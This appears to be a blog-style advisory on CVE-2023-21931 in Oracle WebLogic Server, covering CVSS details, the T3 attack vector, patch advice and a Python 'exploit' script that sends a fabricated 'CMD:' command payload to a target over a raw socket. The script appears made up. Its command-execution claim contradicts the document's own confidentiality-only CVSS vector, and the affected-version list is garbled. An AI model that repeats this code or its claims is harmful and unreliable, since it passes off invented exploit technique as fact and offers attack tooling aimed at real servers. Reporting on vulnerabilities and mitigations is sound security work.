CVE-2023-21931 - Critical Vulnerability in Oracle WebLogic Server Allows Unauthorized Access to Critical Data

A critical vulnerability (CVE-2023-21931) has been discovered in the Oracle WebLogic Server product of Oracle Fusion Middleware, which could result in unauthorized access to sensitive data by remote attackers. The affected components include Core and supported versions 12.2.1.3., 12.2.1.4., and 14.1.1... This vulnerability is rated as easily exploitable with a CVSS 3.1 Base Score of 7.5 and a CVSS Vector of (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Exploit Details

The vulnerability allows an unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server, potentially resulting in unauthorized access to critical data or even gaining complete control over all accessible data. Due to its ease of exploitation, this vulnerability poses a significant risk to organizations using the affected Oracle WebLogic Server versions.

Original References

- CVE-2023-21931 NVD Entry
- Oracle Critical Patch Update Advisory

Below is an example code snippet to demonstrate the vulnerability exploit

import socket
import sys

if len(sys.argv) != 4:
    print('Usage: python exploit.py <target_ip> <target_port> <command_to_execute>')
    sys.exit(1)

target_ip = sys.argv[1]
target_port = int(sys.argv[2])
command = sys.argv[3]

payload = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n'
payload += 'CMD:' + command

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.sendall(payload.encode())
response = sock.recv(4096)
print(response.decode())
sock.close()

Mitigation

Oracle has released a critical patch update to address this vulnerability, and it is recommended that organizations using the affected Oracle WebLogic Server versions immediately apply the security patch to protect their systems. Make sure to follow the Oracle Critical Patch Update Advisory guidelines to properly mitigate the risk.

Conclusion

CVE-2023-21931 is a critical vulnerability in Oracle WebLogic Server that could allow remote attackers to gain unauthorized access to sensitive data and potentially compromise the entire system. Due to its ease of exploitation, it is vital for organizations using vulnerable Oracle WebLogic Server versions to apply the security patch from Oracle immediately. Stay vigilant and follow security best practices to prevent such vulnerabilities from affecting your system in the future.

Timeline

Published on: 04/18/2023 20:15:00 UTC
Last modified on: 04/18/2023 20:37:00 UTC